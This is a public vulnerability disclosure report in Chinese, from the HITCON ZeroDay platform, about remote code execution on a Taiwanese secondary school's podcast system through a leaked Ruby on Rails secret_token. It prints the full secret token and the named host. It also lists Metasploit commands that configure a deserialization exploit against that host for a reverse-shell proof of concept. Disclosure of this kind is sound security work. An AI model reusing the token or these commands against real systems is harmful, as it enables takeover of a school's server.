Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2019-00731
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 精誠中學播客系統 Known Secret Token 導致 Remote Code Execution
- Introduction: secret_token 已公開但未更換,導致 RCE
處理狀態
目前狀態
公開
Last Update : 2019/09/26
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2019/07/27 14:00:15 : 新提交 (由 Cyku 更新此狀態)
- 2019/07/27 14:00:59 : 新提交 (由 Cyku 更新此狀態)
- 2019/07/27 14:02:46 : 新提交 (由 Cyku 更新此狀態)
- 2019/07/27 14:03:50 : 新提交 (由 Cyku 更新此狀態)
- 2019/07/28 23:03:31 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/29 17:34:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/29 17:34:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/07/29 17:34:50 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2019/09/26 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2019-00731
- 通報者:kanade86514 (Cyku)
- 風險:高
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://igtplus.cchs.chc.edu.tw/
敘述
依據 通報 ZD-2019-00231 的第六張截圖,
可以得知該網站 Ruby on Rails 的 secret_token 為:
f318927f80d9cd6b0912249efcc3ea1cd606a5273e5bac912b12292dc2fe0cc0eb3b6feba5988bfe4c1c2be297d7198cb07a66c63fd68c5b4e5df2d7068823b4
_trunk_session 為一串 Ruby Marshal 序列化資料。
該 cookie 還有簽章保護 (例如上圖中的簽章是 ed70c1f6285e7c2ee97b37e004f4e11a4bcbf212),本來無法任意偽造,但因為 secret_token 已知,就可以任意偽造 _trunk_session 再自行重新簽章,並利用 Marshal.load 特性進而實現 Remote Code Execution。
此處借用 Metasploit 的 rails_secret_deserialization 模組進行 PoC 驗證,嘗試取得 Reverse Shell 後執行系統指令 id 與 ip a。
msf5 > use exploit/multi/http/rails_secret_deserialization
msf5 exploit(multi/http/rails_secret_deserialization) > set COOKIE_NAME _trunk_session
msf5 exploit(multi/http/rails_secret_deserialization) > set VHOST igtplus.cchs.chc.edu.tw
msf5 exploit(multi/http/rails_secret_deserialization) > set SSL true
msf5 exploit(multi/http/rails_secret_deserialization) > set RPORT 443
msf5 exploit(multi/http/rails_secret_deserialization) > set RHOSTS igtplus.cchs.chc.edu.tw
msf5 exploit(multi/http/rails_secret_deserialization) > set SECRET f318927f80d9cd6b0912249efcc3ea1cd606a5273e5bac912b12292dc2fe0cc0eb3b6feba5988bfe4c1c2be297d7198cb07a66c63fd68c5b4e5df2d7068823b4
修補建議
立即更換 Ruby on Rails 的 secret_token
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。